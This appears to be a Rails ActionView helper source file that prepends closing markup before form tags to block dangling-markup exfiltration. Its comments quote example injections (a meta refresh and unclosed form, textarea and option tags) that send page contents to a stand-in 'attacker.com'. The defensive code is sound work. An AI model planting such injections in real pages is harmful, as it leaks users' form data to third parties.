lib/action_view/helpers/content_exfiltration_prevention_helper.rb
# frozen_string_literal: true module ActionView module Helpers module ContentExfiltrationPreventionHelper mattr_accessor :prepend_content_exfiltration_prevention, default: false # Close any open attributes before each form tag. This prevents attackers from # injecting partial tags that could leak markup offsite. # # For example, an attacker might inject: # # <meta http-equiv="refresh" content='0;URL=https://attacker.com? # # The HTML following this tag, up until the next single quote would be sent to # +https://attacker.com+. By closing any open attributes, we ensure that form # contents are never exfiltrated this way. CLOSE_QUOTES_COMMENT = %q(<!-- '"` -->).html_safe.freeze # Close any open tags that support CDATA (textarea, xmp) before each form tag. # This prevents attackers from injecting unclosed tags that could capture # form contents. # # For example, an attacker might inject: # # <form action="https://attacker.com"><textarea> # # The HTML following this tag, up until the next <tt></textarea></tt> or # the end of the document would be captured by the attacker's # <tt><textarea></tt>. By closing any open textarea tags, we ensure that # form contents are never exfiltrated. CLOSE_CDATA_COMMENT = "<!-- </textarea></xmp> -->".html_safe.freeze # Close any open option tags before each form tag. This prevents attackers # from injecting unclosed options that could leak markup offsite. # # For example, an attacker might inject: # # <form action="https://attacker.com"><option> # # The HTML following this tag, up until the next <tt></option></tt> or the # end of the document would be captured by the attacker's # <tt><option></tt>. By closing any open option tags, we ensure that form # contents are never exfiltrated. CLOSE_OPTION_TAG = "</option>".html_safe.freeze # Close any open form tags before each new form tag. This prevents attackers # from injecting unclosed forms that could leak markup offsite. # # For example, an attacker might inject: # # <form action="https://attacker.com"> # # The form elements following this tag, up until the next <tt></form></tt> # would be captured by the attacker's <tt><form></tt>. By closing any open # form tags, we ensure that form contents are never exfiltrated. CLOSE_FORM_TAG = "</form>".html_safe.freeze CONTENT_EXFILTRATION_PREVENTION_MARKUP = (CLOSE_QUOTES_COMMENT + CLOSE_CDATA_COMMENT + CLOSE_OPTION_TAG + CLOSE_FORM_TAG).freeze def prevent_content_exfiltration(html) if prepend_content_exfiltration_prevention CONTENT_EXFILTRATION_PREVENTION_MARKUP + html else html end end end end end